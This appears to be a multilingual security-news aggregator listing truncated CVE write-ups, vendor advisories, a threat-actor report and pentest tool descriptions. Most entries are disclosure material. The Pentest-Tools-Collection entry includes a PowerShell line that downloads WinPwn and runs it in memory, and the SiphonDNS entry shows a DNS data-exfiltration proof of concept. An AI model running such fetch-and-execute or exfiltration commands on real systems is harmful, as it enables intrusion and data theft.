CVE-2020-14883

CVE-2020-14883 Oracle WebLogic Server 认证远程代码执行 RCE Oracle Fusion Middleware 的 Oracle WebLogic Server 产品（组件：控制台）存在漏洞。受影响的支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。该漏洞易于利用，未经身份验证的攻击者可通过 HTTP 网络访问破坏 Oracle WebLogic Server。成功利用此漏洞可导致 Oracle WebLogic Server 被接管。 概念验证 PoC 1： 使用...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client 未授权文件上传导致远程代码执行（RCE） vSphere Web Client（HTML5）本质上是一个管理界面，用于管理 vSphere 安装。vSphere Client 让管理员无需直接访问 vSphere 服务器即可访问 vSphere 的关键功能。它允许管理员创建新的虚拟机，并管理现有的虚拟机及其资源。作为一个跨平台 Web 应用程序，它可以通过不同 Web 浏览器的受支持版本在所有受支持的操作系统上使用。 CVE-2021-21972 是 vCenter Server...

Breeze Comet Executes Hundreds of Fraudulent Transactions via Brazilian Payment Systems

Brazilian financial services, retail, and e-commerce organizations have become the target of a financially motivated threat actor dubbed Breeze Comet formerly UNC5669 since 2024. Google Threat Intelligence Group GTIG and Mandiant teams described the threat actor as "specializing in manipulating...

SUSE CVE-2026-72445

In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: qcom: clear opened when stream enable fails On enable, subs-opened is set before the serviceinterval is validated; an invalid interval jumps to the response label without clearing it, so the substream is wedged a...

AiSOC

AiSOC Un SOC de IA de código abierto y autoalojable. Los prompts del agente, las llamadas a herramientas y su razonamiento se registran paso a paso y son reproducibles. Con licencia MIT...

Deserialization of Untrusted Data

Overview mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models. Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the loadmodel and loadpyfunc...

Incorrect Authorization

Overview transformers is a State-of-the-art Machine Learning for JAX, PyTorch and TensorFlow Affected versions of this package are vulnerable to Incorrect Authorization in the loadcustomgenerate method of GenerativePreTrainedModel, where getcachedmodulefile in dynamicmoduleutils.py copies the...

XML Injection

Overview @xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom Affected versions of this package are vulnerable to XML Injection vi...

XML Injection

Overview @xmldom/xmldom is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes. Since version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom Affected versions of this package are vulnerable to XML Injection vi...

Deserialization of Untrusted Data

Overview com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType method of...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType method of DefaultBaseTypeLimitingValidator, whose denylist of unsafe base types omits java.lang.Comparable, so the method returns true for any subtype resolved under a Comparable...

siphondns

SiphonDNS 针对此研究中所述技术的一个 PoC。 实现通过 DNS 非标准部分进行数据外泄。 服务器： root@kitploit: $ ./siphondns-server -method ecs Starting DNS server cmd id Command received Receiving data............................................................................ Response: uid=1000kali gid=1000kali...

firmware-workshop

动手实践固件提取、探索与仿真 欢迎加入我们这场 Unblob（灵活的固件提取工具）的动手演示。 在本次研讨会环节中，我们将从一台电动汽车充电器中提取固件，深入 研究该固件，并最终对其进行仿真，以便实时与其中的 服务进行交互。Unblob 既适用于硬件版本，也适用于可下载版本 的固件，因此我们有丰富的目标环境。无需任何经验， 本环节适合各种技能水平，我们期待与大家现场 相见。 我们的目标 我们的目标是一台来自 Phoenix Contact 的电动汽车充电站控制器。你可以在此处找到更多详细信息。 CHARX control modular，交流充电控制器，搭载嵌入式 Linux 系统，IE...

adiskreader-secretsdump

🚩 赞助商 如果你喜欢这个项目，请考虑购买 OctoPwn 的许可证，这是我们运行在浏览器中的完整渗透测试套件！ 有关新构建/版本和其他信息的通知，请加入我们的 Discord adiskreader-secretsdump 从本地或远程磁盘映像中提取注册表和 NTDS 机密 🚩 在浏览器中运行 该项目与许多其他渗透测试工具一起，借助 OctoPwn 的强大功能在浏览器中运行！ 在 OctoPwn - Live 查看社区版 安装 git clone 然后 pip install . 用法 首先，你必须从此处手动安装 adiskreader 项目，因为它尚未打包到 pip 上。...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

allstar v4.6

Allstar !IMPORTANT The OpenSSF-hosted Allstar GitHub App has been retired. Allstar, the OpenSSF Scorecard subproject, itself continues to be maintained — you must now run it yourself, either as a GitHub Action or as a service daemon. See ossf/allstar881 for more details. If your organization was...

Security Bulletin: Db2 Query Management Facility is vulnerable to IBM Semeru Runtime Quarterly CPU - Jul 2026 - Includes OpenJDK July 2026

Summary Db2 Query Management Facility is vulnerable to IBM Semeru Runtime Quarterly CPU - Jul 2026 - Includes OpenJDK July 2026 CPU plus three additional vulnerabilities Vulnerability Details CVEID:CVE-2026-41254 DESCRIPTION: Little CMS lcms2 through 2.18 has an integer overflow in CubeSize in...

Security Bulletin: Db2 Query Management Facility is vulnerable to IBM SDK, Java Technology Edition Quarterly CPU - Jul 2026

Summary Db2 Query Management Facility is vulnerable to IBM SDK, Java Technology Edition Quarterly CPU - Jul 2026 - Includes Oracle July 2026 CPU plus four additional vulnerabilities Vulnerability Details CVEID:CVE-2026-41254 DESCRIPTION: Little CMS lcms2 through 2.18 has an integer overflow in...

Security Bulletin: IBM SDK, Java Technology Edition Quarterly CPU - Jul 2026 - Includes Oracle July 2026 CPU plus four additional vulnerabilities for Rational Software Architect Designer

Summary There are multiple vulnerabilities in IBM® SDK Java™ Technology Edition,Versions 8 , Java 17 and Java 21 that are used by Rational Software Architect Designer and Rational Software Architect Designer for Websphere Software. These issues were disclosed as part of the IBM SDK, Java Technolo...

Security Bulletin: Enterprise Content Managemant System Monitor for August 2026 - multiple CVEs

Summary Enterprise Content Management System Monitor is vulnerable to multiple remote code execution and denial of service attacks in third party and open source used in the product for various functions. See full list below. The vulnerabilities have been addressed. Vulnerability Details...